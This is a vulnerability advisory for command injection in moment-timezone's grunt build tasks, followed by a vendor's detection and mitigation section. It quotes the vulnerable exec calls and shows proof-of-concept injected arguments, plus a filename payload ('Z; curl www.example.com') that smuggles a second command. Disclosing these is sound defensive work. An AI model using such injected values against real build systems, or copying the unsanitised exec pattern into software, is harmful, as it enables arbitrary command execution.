GHSA-56x4-j7p9-fcf9
Command Injection in moment-timezone
Blast Radius
Weekly download volume for affected packages — a proxy for how broadly this vulnerability is deployed.
moment-timezonenpmDescription
Impact
All versions of moment-timezone from 0.1.0 contain build tasks vulnerable to command injection.
- if Alice uses tzdata pipeline to package moment-timezone on her own (for example via
grunt data:2014d, where2014dstands for the version of the tzdata to be used from IANA's website), - and Alice let's Mallory select the version (
2014din our example), then Mallory can execute arbitrary commands on the machine running the grunt task, with the same privilege as the grunt task
Am I affected?
Do you build custom versions of moment-timezone with grunt?
If no, you're not affected.
Do you allow a third party to specify which particular version you want build?
If yes, you're vulnerable to command injection -- third party may execute arbitrary commands on the system running grunt task with the same privileges as grunt task.
Description
Command Injection via grunt-zdownload.js and MITM on iana's ftp endpoint
The tasks/data-download.js script takes in a parameter from grunt and uses it to form a command line which is then executed:
6 module.exports = function (grunt) {
7 grunt.registerTask('data-download', '1. Download data from iana.org/time-zones.', function (version) {
8 version = version || 'latest';
10 var done = this.async(),
11 src = 'ftp://ftp.iana.org/tz/tzdata-latest.tar.gz',
12 curl = path.resolve('temp/curl', version, 'data.tar.gz'),
13 dest = path.resolve('temp/download', version);
...
24 exec('curl ' + src + ' -o ' + curl + ' && cd ' + dest + ' && gzip -dc ' + curl + ' | tar -xf -', function (err) {
Ordinarily, one one run this script using something like grunt data-download:2014d, in which case version would have the value 2014d. However, if an attacker were to provide additional content on the command line, they would be able to execute arbitrary code
root@e94ba0490b65:/usr/src/app/moment-timezone# grunt 'data-download:2014d ; echo flag>/tmp/foo #'
\Running "data-download:2014d ; echo flag>/tmp/foo #" (data-download) task
>> Downloading https://data.iana.org/time-zones/releases/tzdata2014d ; echo flag>/tmp/foo #.tar.gz
>> Downloaded https://data.iana.org/time-zones/releases/tzdata2014d ; echo flag>/tmp/foo #.tar.gz
Done.
root@e94ba0490b65:/usr/src/app/moment-timezone# cat /tmp/foo
flag
Command Injection via data-zdump.js
The tasks/data-zdump.js script reads a list of files present in a temporary directory (created by previous tasks), and for each one, assembles and executes a command line without sanitization. As a result, an attacker able to influence the contents of that directory could gain code execution. This attack is exacerbated by timezone data being downloaded via cleartext FTP (described above), but beyond that, an attacker at iana.org able to modify the timezone files could disrupt any systems that build moment-timezone.
15 files = grunt.file.expand({ filter : 'isFile', cwd : 'temp/zic/' + version }, '**/*');
...
27 function next () {
...
33 var file = files.pop(),
34 src = path.join(zicBase, file),
35 dest = path.join(zdumpBase, file);
36 exec('zdump -v ' + src, { maxBuffer: 20*1024*1024 }, function (err, stdout) {
In this case, an attacker able to add a file to temp/zic/2014d (for example) with a filename like Z; curl www.example.com would influence the called to exec on line 36 and run arbitrary code. There are a few minor challenges in exploiting this, since the string needs to be a valid filename.
Command Injection via data-zic.js
Similar to the vulnerability in /tasks/data-download.js, the /tasks/data-zic.js script takes a version from the command line and uses it as part of a command line, executed without sanitization.
10 var done = this.async(),
11 dest = path.resolve('temp/zic', version),
...
22 var file = files.shift(),
23 src = path.resolve('temp/download', version, file);
24
25 exec('zic -d ' + dest + ' ' + src, function (err) {
As a result, an attacker able to influence that string can run arbitrary commands. Of course, it requires an attacker able to influence the command passed to grunt, so may be unlikely in practice.
root@e94ba0490b65:/usr/src/app/moment-timezone# grunt 'data-zic:2014d; echo hi > /tmp/evil; echo '
Running "data-zic:2014d; echo hi > /tmp/evil; echo " (data-zic) task
exec: zid -d /usr/src/app/moment-timezone/temp/zic/2014d; echo hi > /tmp/evil; echo /usr/src/app/moment-timezone/temp/download/2014d; echo hi > /tmp/evil; echo /africa
...
root@e94ba0490b65:/usr/src/app/moment-timezone# cat /tmp/evil
hi
Patches
The supplied patch on top of 0.5.34 is applicable with minor tweaks to all affected versions. It switches exec to execFile so arbitrary bash fragments won't be executed any more.
References
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | moment-timezone | ≥ 0.1.0&&< 0.5.35 | 0.5.35 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for moment-timezone. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update moment-timezone to 0.5.35 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-56x4-j7p9-fcf9 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-56x4-j7p9-fcf9 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-56x4-j7p9-fcf9. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-56x4-j7p9-fcf9 in your dependencies?
O3 detects GHSA-56x4-j7p9-fcf9 across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.